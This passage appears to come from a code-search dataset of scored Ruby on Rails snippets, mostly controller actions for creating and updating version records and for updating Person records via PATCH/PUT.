"text": "def create\n @file_version = FileVersion.new(file_version_params)\n @file_version.file_upload_id = params[:file_upload_id]\n\n respond_to do |format|\n if @file_version.save\n format.html { redirect_to @file_upload, notice: 'File version was successfully created.' }\n format.json { render :show, status: :created, location: @file_version }\n else\n format.html { render :new }\n format.json { render json: @file_version.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "308e793e8386b1abe60500f53ee2d781",
"score": "0.58352935",
"text": "def version_params\n params.require(:version).permit(:name, :page_id)\n end",
"title": ""
},
{
"docid": "882c8317370987b86425c0adbf5bfe8c",
"score": "0.58320886",
"text": "def update_aos_version(args = {}) \n put(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"title": ""
},
{
"docid": "35a0cc6550e253f99a3ab9a5fd48ade1",
"score": "0.58258414",
"text": "def create\n @room = Room.create(user_id: current_user.id)\n @version = Version.new(version_params)\n @version.typ = 0\n respond_to do |format|\n if params[:photo].present?\n if @version.save\n @version.update(room_id: @room.id)\n if params[:photo]['image']['0'].present?\n @photo = @version.photos.create!(:image => params[:photo]['image']['0'], :version_id => @version.id)\n if params[:photo]['image']['1'].present?\n @photo = @version.photos.create!(:image => params[:photo]['image']['1'], :version_id => @version.id)\n if params[:photo]['image']['2'].present?\n @photo = @version.photos.create!(:image => params[:photo]['image']['2'], :version_id => @version.id)\n if params[:photo]['image']['3'].present?\n @photo = @version.photos.create!(:image => params[:photo]['image']['3'], :version_id => @version.id)\n end\n end\n end\n end\n format.html { redirect_to @version, notice: 'Version was successfully created.' }\n format.json { render :show, status: :created, location: @version }\n else\n format.html { render :new }\n format.json { render json: @version.errors, status: :unprocessable_entity }\n end\n else\n format.html { render :new, notice: 'Photos cant be empty.'}\n format.json { render json: @version.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f9b74c7d6c1c805909087d667c0b22ad",
"score": "0.5820158",
"text": "def version_params\n params[:version].permit!\n end",
"title": ""
},
{
"docid": "eaac552e5e63817393cbd7b2be5cb88b",
"score": "0.5810141",
"text": "def create\n @api_version = ApiVersion.new(params[:api_version])\n\n respond_to do |format|\n if @api_version.save\n format.html { redirect_to(@api_version, :notice => 'Api version was successfully created.') }\n format.xml { render :xml => @api_version, :status => :created, :location => @api_version }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @api_version.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f8f05d8face48626ea56193bb2c3fd96",
"score": "0.57958156",
"text": "def versions=(value)\n @versions = value\n end",
"title": ""
},
{
"docid": "f8f05d8face48626ea56193bb2c3fd96",
"score": "0.57958156",
"text": "def versions=(value)\n @versions = value\n end",
"title": ""
},
{
"docid": "f8f05d8face48626ea56193bb2c3fd96",
"score": "0.57958156",
"text": "def versions=(value)\n @versions = value\n end",
"title": ""
},
{
"docid": "f8f05d8face48626ea56193bb2c3fd96",
"score": "0.57958156",
"text": "def versions=(value)\n @versions = value\n end",
"title": ""
},
{
"docid": "03c2863cbb027392b25b811136e5d83e",
"score": "0.5792264",
"text": "def get_versions\n url = build_url(BASE_URL, VERSIONS_ENDPOINT)\n\n response = get(url)\n\n JSON.parse(response)['response']\n end",
"title": ""
},
{
"docid": "a853e2931c9aa42d5a608499de9de8bc",
"score": "0.57862794",
"text": "def create\n @os_version = OsVersion.new(os_version_params)\n\n respond_to do |format|\n if @os_version.save\n format.html { redirect_to @os_version, notice: 'Os version was successfully created.' }\n format.json { render :show, status: :created, location: @os_version }\n else\n format.html { render :new }\n format.json { render json: @os_version.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ea3da695dc2f4e528d16fdd2da06c7dd",
"score": "0.57759255",
"text": "def create\n @version_so = VersionSo.new(version_so_params)\n\n respond_to do |format|\n if @version_so.save\n format.html { redirect_to @version_so, notice: 'Version so was successfully created.' }\n format.json { render :show, status: :created, location: @version_so }\n else\n format.html { render :new }\n format.json { render json: @version_so.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c271cb733ae66ff5aad0f33384b825b0",
"score": "0.5767686",
"text": "def list_all_aos_versions(args = {}) \n get(\"/aosversions.json/all\", args)\nend",
"title": ""
},
{
"docid": "8ef0e17d056a303cf68df4d0ed925d51",
"score": "0.57645774",
"text": "def new\n @admin_version = Admin::Version.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_version }\n end\n end",
"title": ""
},
{
"docid": "15c5131e3b5bfcc172f2851203b421c0",
"score": "0.5738546",
"text": "def submit_revision(mesa)\n uri = URI.parse(base_uri + '/versions/submit_revision.json')\n https = Net::HTTP.new(uri.hostname, uri.port)\n https.use_ssl = true if base_uri.include? 'https'\n\n request = Net::HTTP::Post.new(\n uri,\n initheader = { 'Content-Type' => 'application/json' }\n )\n request_data, error_cases = revision_submit_params(mesa)\n if request_data[:instances].empty? && mesa.installed?\n shell.say \"No completed test data found in #{mesa.mesa_dir}. Aborting.\",\n :red\n return false\n end\n request.body = request_data.to_json\n\n # verbose = true\n # puts \"\\n\" if verbose\n # puts JSON.parse(request.body).to_hash if verbose\n\n response = https.request request\n # puts JSON.parse(response.body).to_hash if verbose\n if !response.is_a? Net::HTTPCreated\n shell.say \"\\nFailed to submit some or all cases and/or version data.\",\n :red\n false\n elsif !error_cases.empty?\n shell.say \"\\nFailed to gather data for the following cases:\", :red\n error_cases.each { |tc| shell.say \" #{tc.test_name}\", :red }\n false\n else\n shell.say \"\\nSuccessfully submitted revision #{mesa.version_number}.\", :green\n @last_tested = mesa.version_number\n shell.say \"\\n\\nUpdating last tested revision to #{last_tested}.\"\n save_computer_data\n true \n end\n end",
"title": ""
},
{
"docid": "f2155b20970873b32361e5f77ff6a965",
"score": "0.57362604",
"text": "def version_params\n params.require(:version).permit(:version, :model_id)\n end",
"title": ""
},
{
"docid": "9d8da5209ff0e26298b2d9496f3845dd",
"score": "0.5734919",
"text": "def list_active_aos_versions(args = {}) \n get(\"/aosversions.json/\", args)\nend",
"title": ""
},
{
"docid": "9e89bc22c63265cc0554ebac11f37922",
"score": "0.5731143",
"text": "def version_params\n params.require(:version).permit(:ontology_id, :number)\n end",
"title": ""
},
{
"docid": "a7f0c34e60133e8b52b4cfcf551f44d7",
"score": "0.5722553",
"text": "def create\n @document_version = DocumentVersion.new(params[:document_version])\n\n respond_to do |format|\n if @document_version.save\n format.html { redirect_to document_path(@document_version.document_id), notice: 'Document version was successfully created.' }\n format.json { render json: @document_version, status: :created, location: @document_version }\n else\n format.html { render action: \"new\" }\n format.json { render json: @document_version.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ff5de4c3723ad1c411a43e2ceeffd7f5",
"score": "0.5706878",
"text": "def index\n @versioned_files = VersionedFile.all\n\n render json: @versioned_files\n end",
"title": ""
},
{
"docid": "b24bc46d90be2ff3b1f180f71c48d64a",
"score": "0.57053274",
"text": "def sync_project_versions(project_id, params)\n RestClient.put \"#{@api_url}/projects/#{project_id}.json?auth_token=#{@auth_token}\", params do |response, request, result, &block|\n case response.code\n when 200\n JSON.parse(response.to_str, :symbolize_names => true)\n else\n { :errors => [response.code] }\n end\n end\n end",
"title": ""
},
{
"docid": "6b98da3af3e80338f9e8cc1c293458c7",
"score": "0.5698089",
"text": "def versions(id)\n connection.get do |req|\n req.url \"job/#{id}/versions\"\n end\n end",
"title": ""
},
{
"docid": "e8ad58b78b15672a0be239413f35d47e",
"score": "0.5696388",
"text": "def create\n @verdict = Verdict.new(verdict_params)\n\n respond_to do |format|\n if @verdict.save\n format.html { redirect_to @verdict, notice: 'Verdict was successfully created.' }\n format.json { render :show, status: :created, location: @verdict }\n else\n format.html { render :new }\n format.json { render json: @verdict.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d063beb3503d4adacdc28210ca8fc1d3",
"score": "0.56928456",
"text": "def create\n @version_control = params[:version_control]\n @users = User.all\n\n if @version_control\n @users.each do |user|\n user.version_control.update(version_control_params) if user.version_control\n end\n else\n render json: @version_control.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "d542e9f8bbd448b8898320695c245338",
"score": "0.56827945",
"text": "def version_params\n# params.fetch(:version, {})\n params.fetch(:version).permit(:release_date, :description, :env_json, :activated)\n end",
"title": ""
},
{
"docid": "d1092a59888d8755da7d18aa1fe063d0",
"score": "0.56661963",
"text": "def version_params\n params.require(:version).permit(:number, :mod_id)\n end",
"title": ""
},
{
"docid": "bed231e8dbfc1dc0f65736efc34f95f5",
"score": "0.5665876",
"text": "def check_product_versions(supported_version_request)\n payload =\n [\n {\n \"ProductCode\" => \"9.9\",\n \"Version\" => \"9.9\"\n }\n ].merge!(supported_version_request)\n # requires: JSON SupportedVersionRequest data block\n check_supported_version_request_validity(payload)\n path = \"/d2l/api/versions/check\"\n _post(path, payload)\n # returns: BulkSupportedVersionResponse JSON block\nend",
"title": ""
},
{
"docid": "659dcbd8b16a45788e0377e5285a8edd",
"score": "0.5662359",
"text": "def destroy\n @version.destroy\n respond_to do |format|\n format.html { redirect_to versions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5b59c406e0182d826dae9b8b745b957e",
"score": "0.56542754",
"text": "def new\n\t\t#3.times { @product.versions.build }\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @product }\n end\n end",
"title": ""
},
{
"docid": "dd2ddcfe246bf0b9a9f71e6f306a134d",
"score": "0.5654247",
"text": "def new_version\n if handle_upload_data\n comments = params[:revision_comment]\n\n respond_to do |format|\n create_new_version comments\n create_content_blobs\n create_model_image @model,params[:model_image]\n format.html {redirect_to @model }\n end\n else\n flash[:error]=flash.now[:error]\n redirect_to @model\n end\n end",
"title": ""
},
{
"docid": "dfdd2443bcc9c4a5a817bd8b2c3a3379",
"score": "0.5650656",
"text": "def add_version(name, template, tag, options)\n res = client.post(\"#{domain}/templates/#{name}/versions\", options.merge(template: template, tag: tag))\n res.to_h\n end",
"title": ""
},
{
"docid": "9bab63413c9894240e97c93e782365f4",
"score": "0.56492275",
"text": "def create\n respond_to do |format|\n format.json do\n if @variant.save\n render json: @variant\n else\n render json: { :errors => @variant.errors.messages }, status: :unprocessable_entity\n end\n end\n end\n end",
"title": ""
},
{
"docid": "2e37b849c9cf65af47057bc4c4e3dadf",
"score": "0.56473523",
"text": "def version_params\n params.require(:version).permit(:item_type, :item_id, :event, :object, :created_at, :object_changes)\n end",
"title": ""
},
{
"docid": "67b7d03c8b19639f836b5d30d40190f9",
"score": "0.5646833",
"text": "def show\n render json: @versioned_file\n end",
"title": ""
},
{
"docid": "826f81b6f838dfc75cb5886c3bd16f61",
"score": "0.56443954",
"text": "def post_create_from_chain_request(version, data = {}.to_json)\n post :create_from_process_step, params: data, headers: {'Content-Type' => \"application/json\", 'Accept' => \"application/vnd.ink.#{version}\" }\nend",
"title": ""
},
{
"docid": "1eea01533999b535e8dcd029e764f70f",
"score": "0.5644379",
"text": "def check_versions_diff(params)\n RestClient.post \"#{@api_url}/versions/diffs.json?auth_token=#{@auth_token}\", params do |response, request, result, &block|\n case response.code\n when 200\n JSON.parse(response.to_str, :symbolize_names => true)\n else\n { :errors => [response.code] }\n end\n end\n end",
"title": ""
},
{
"docid": "92b38ef3f51e0fe8d6880add31786bad",
"score": "0.5634111",
"text": "def new\n @app_version = @app.app_versions.new(params[:app_version])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @app_version }\n end\n end",
"title": ""
},
{
"docid": "74cc8a72735732142156abf0eb87efff",
"score": "0.5624778",
"text": "def create\n @ruby_version = RubyVersion.new(ruby_version_params)\n\n respond_to do |format|\n if @ruby_version.save\n format.html { redirect_to @ruby_version, notice: 'Ruby version was successfully created.' }\n format.json { render :show, status: :created, location: @ruby_version }\n else\n format.html { render :new }\n format.json { render json: @ruby_version.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d364e92db1692a7f0e8dc70d5b0079ea",
"score": "0.5621037",
"text": "def new\n @version = @page.versions.new\n\n respond_to do |format|a\n format.html # new.html.erb\n format.xml { render :xml => @version }\n end\n end",
"title": ""
},
{
"docid": "c7e3659a73f4e7786d4aed64a5e81902",
"score": "0.5618617",
"text": "def insert_versions(v,vd,g)\n\tv_f = []\n\tindex = 0\n\n\tv.each do |version|\n\t\tv_f << {\n\t\t\t'version_num' => version['number'],\n\t\t\t'total_downloads' => version['downloads']\n\t\t}\n\tend\n\n\t#insert per single rather than by batch to be able to populate the downloads days table\n\tv_f.each do |vs|\n\t\t@v = g.versions.create(vs)\n\t\t#we can use below if we want to include more on the table\n\t\tinsert_version_downloads_days(vd[index]['downloads_date'],vs['version_num'],@v)\n\t\tindex = index+1\n\tend\nend",
"title": ""
},
{
"docid": "7510f2a0be4b81775657a198e750a254",
"score": "0.5610618",
"text": "def version_params\n params.require(:version).permit(:version_number, :date, :author, :checker, :crypted_id, :pdf_file, :dxf_file, :pdf_file_name, :dxf_file_name, :current_version, :comments)\n end",
"title": ""
},
{
"docid": "a99d986cd0e931d93fbd3aee08526f8f",
"score": "0.56074053",
"text": "def index\n\n @versions = @library.documents.find_by_id(params[:document_id]).versions.all(:order=>'major_version_number DESC, minor_version_number DESC')\n\n for i in (0..@versions.length-1)\n @version=@versions[i]\n @version.sort_id=i\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @versions.to_json(:methods=>[:sort_id]) }\n end\n end",
"title": ""
},
{
"docid": "1a4c0f323232646a5f3bff422491c04d",
"score": "0.5604766",
"text": "def create\n @revision = Revision.new(revision_params)\n\n respond_to do |format|\n if @revision.save\n format.html { redirect_to @revision, notice: 'Revision was successfully created.' }\n format.json { render action: 'show', status: :created, location: @revision }\n else\n format.html { render action: 'new' }\n format.json { render json: @revision.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "81d771d67ccf295c1ce643cd235da4d5",
"score": "0.560143",
"text": "def version_params\n params.require(:version).permit(:name,\n :description,\n :is_public,\n :product_id,\n :latest,\n :release_note,\n :release_version,\n :emergency_version,\n :broken_version)\n end",
"title": ""
},
{
"docid": "0a35b2297eb98449d758f7d2cc61dc4a",
"score": "0.55982",
"text": "def create(clone_from_version_id)\n request = Net::HTTP::Post.new(\n URI.join(\n @base_uri.to_s,\n \"cloudlets/api/v2/policies/#{@policy_id}/versions?includeRules=false&matchRuleFormat=1.0&cloneVersion=#{clone_from_version_id}\"\n ).to_s,\n { 'Content-Type' => 'application/json'}\n )\n response = @http_host.request(request)\n response.body\n end",
"title": ""
}
] |
1c84390d2a400055ab70977217256997
|
PATCH/PUT /people/1 PATCH/PUT /people/1.json
|
[
{
"docid": "62ac438a5aa658fdb816f27038f54c52",
"score": "0.0",
"text": "def update\n respond_to do |format|\n if @comment.update(comment_params)\n format.html { redirect_to @comment.dhokebaaz, notice: 'Comment was successfully updated.' }\n format.json { render :show, status: :ok, location: @comment }\n else\n format.html { render :edit }\n format.json { render json: @comment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "fe34f93da0751ad55cc5052cfdd2366c",
"score": "0.7237493",
"text": "def update\n render json: Person.update(params[\"id\"], params[\"person\"])\n end",
"title": ""
},
{
"docid": "6ae6b17460ba8c07daf1a237b1b63696",
"score": "0.6948535",
"text": "def update\n \n if @api_v1_person.update(api_v1_person_params) \n render json: @api_v1_person\n else\n render json: @api_v1_person.errors, status: 400\n end\n \n end",
"title": ""
},
{
"docid": "abce1dfbfa7adc8a127622108f732a95",
"score": "0.6907581",
"text": "def update_person(api, cookie, perstoupdate, person)\n pers_id = perstoupdate['id']\n option_hash = { content_type: :json, accept: :json, cookies: cookie }\n pers = nil\n res = api[\"people/#{pers_id}\"].patch person.to_json, option_hash unless $dryrun\n if res&.code == 201\n pers = JSON.parse(res.body)\n end\n pers\nend",
"title": ""
},
{
"docid": "03d3dc12cfbe7f4529450b9c6085bfd0",
"score": "0.6788251",
"text": "def update\n @people = Person.find(params[:id])\n people_params = params.permit(:first_name, :last_name, :organisation_id)\n\n if @people.update(people_params)\n render status: 200\n else\n render status: 422, json: {error: @people.errors.full_messages.first}\n end\n end",
"title": ""
},
{
"docid": "025fd4e7980816d6c229844c31f095ae",
"score": "0.6744821",
"text": "def update\n @person = Person.find(params[:id])\n\n if @person.update(person_params)\n head :no_content\n else\n render json: @person.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "d5eaea298e64625a71a15a970f3b75ed",
"score": "0.66839176",
"text": "def patch *args\n make_request :patch, *args\n end",
"title": ""
},
{
"docid": "bc9a9c835146d82cef70f6665e2008e8",
"score": "0.6645139",
"text": "def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to root_url, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "01fe9621be0da9312993416eabcd0ac1",
"score": "0.66255546",
"text": "def update\n @person = Person.find(params[:id])\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "58ba7a722eac6d091519682f9ccaf0c4",
"score": "0.6621878",
"text": "def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "58ba7a722eac6d091519682f9ccaf0c4",
"score": "0.6621878",
"text": "def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "58ba7a722eac6d091519682f9ccaf0c4",
"score": "0.6621878",
"text": "def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d5bb1bd1c27f8e1482c989259df5d168",
"score": "0.6608365",
"text": "def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b7d46c1bbfb1c5315d70e6f1b3dffaf4",
"score": "0.6591813",
"text": "def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to edit_person_url(@person), notice: \"#{@person.firstname} #{@person.lastname} was successfully updated.\" }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bff9f051473864378ec4420a385d9041",
"score": "0.6558637",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: \"#{@person.name} was successfully updated.\" }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f3f7a221faf8b8e9ce77a189af158138",
"score": "0.65550745",
"text": "def update\n @person = Person.find(params[:id])\n if @person.update(person_params)\n render :show, status: :ok, location: api_v3_person_url(@person)\n else\n render json: @person.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "4713b1bbb77e26328a49967631683400",
"score": "0.6546763",
"text": "def update\n respond_to do |format|\n if @person.update(params[:person])\n format.html { redirect_to edit_person_path(@person), notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7ed7ac047379a0529afb3b3e76cd6f93",
"score": "0.65430325",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7ed7ac047379a0529afb3b3e76cd6f93",
"score": "0.65430325",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7ed7ac047379a0529afb3b3e76cd6f93",
"score": "0.65430325",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7ed7ac047379a0529afb3b3e76cd6f93",
"score": "0.65430325",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "416ecb573706b6136f03f36322c12f6f",
"score": "0.65391153",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: I18n.t('controllers.people.update.success') }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1b7a50f0667b7d27594c57d5405ccf37",
"score": "0.65368104",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html {redirect_to url_for(@person.metamorphosize), notice: 'Person was successfully updated.'}\n format.json {head :no_content}\n else\n format.html {render action: 'edit'}\n format.json {render json: @person.errors, status: :unprocessable_entity}\n end\n end\n end",
"title": ""
},
{
"docid": "d679bbeec6c24024bb16b7df9b990043",
"score": "0.6534687",
"text": "def update\n if @person.update(person_params)\n head :no_content\n else\n render json: @person.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "368d1b7fe1201ac8944e6e73b5586343",
"score": "0.65180457",
"text": "def update\n @user = User.find(params[:id])\n\n if @user.update(person_params)\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "7f7c16b9e14f1352bb07fd27f83679a7",
"score": "0.6512483",
"text": "def patch(path, params: {}, headers: {})\n request_json :patch, path, params, headers\n end",
"title": ""
},
{
"docid": "bf603dbfb56e4160d8d5e822a1151f3b",
"score": "0.6503367",
"text": "def update\n @person = Person.find(params[:id])\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: t(\"activerecord.notices.models.person.updated\", name: @person) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "35094a04a2d2e526513171b8eef493bb",
"score": "0.65030754",
"text": "def update\n @people = People.find(params[:id])\n\n respond_to do |format|\n if @people.update_attributes(params[:people])\n format.html { redirect_to @people, notice: 'Uživatel byl úspěšně upraven.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @people.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "78b5aaff316e5c325f5ac378e6159ef6",
"score": "0.6493358",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to people_path, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9f0db4f00090ca2aec58ca691a0471cc",
"score": "0.6490166",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "99892939cfa60fe3c11ad4640df1325a",
"score": "0.6485763",
"text": "def update\n @people = People.find(params[:id])\n respond_to do |format|\n if @people.update_attributes(params[:people])\n format.html { redirect_to(@people) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @people.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6650d4950209171e0a124411d4c9e9d8",
"score": "0.6473028",
"text": "def update\n respond_to do |format|\n if @person.with_user(current_user).update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6650d4950209171e0a124411d4c9e9d8",
"score": "0.6473028",
"text": "def update\n respond_to do |format|\n if @person.with_user(current_user).update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6650d4950209171e0a124411d4c9e9d8",
"score": "0.6473028",
"text": "def update\n respond_to do |format|\n if @person.with_user(current_user).update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6506d3d20f3a4e0cc3f91cdcae8e0084",
"score": "0.64718896",
"text": "def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to [:admin, @person], notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f2a4f6e2c89095a15a5868b214d16c7f",
"score": "0.6471831",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person.metamorphosize, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2515939e254bae6dc8881873dafdbdd7",
"score": "0.6451318",
"text": "def update\n @person = current_user.person #.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to edit_person_path(@person), notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1104043c0cca818a932c83c99bf1d42f",
"score": "0.64455855",
"text": "def update\n @person = Person.find(params[:id])\n @people = load_people(@person)\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to(admin_person_path(@person), :notice => 'Person was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @person.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b07b92d7402bf2daa7f64648b587de10",
"score": "0.64322805",
"text": "def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'You have successfully updated your account!' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1a624f99021d90354d182e34356b5c20",
"score": "0.641476",
"text": "def update\n respond_to do |format|\n if @person == nil\n @person = Person.find_by id: params[:id] \n end\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8d33c25986024a41b486608aacf105f2",
"score": "0.6414555",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to root_path, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "69d16045c8dc8fc399f06e4418f97125",
"score": "0.64060324",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to people_url, notice: 'La persona fue editada exitosamente.' }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d7a9473a4f0f861640eec539690b6a2d",
"score": "0.6398669",
"text": "def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to person_path(@person), notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "59108cacd3b76a301cf947535550bf78",
"score": "0.6397865",
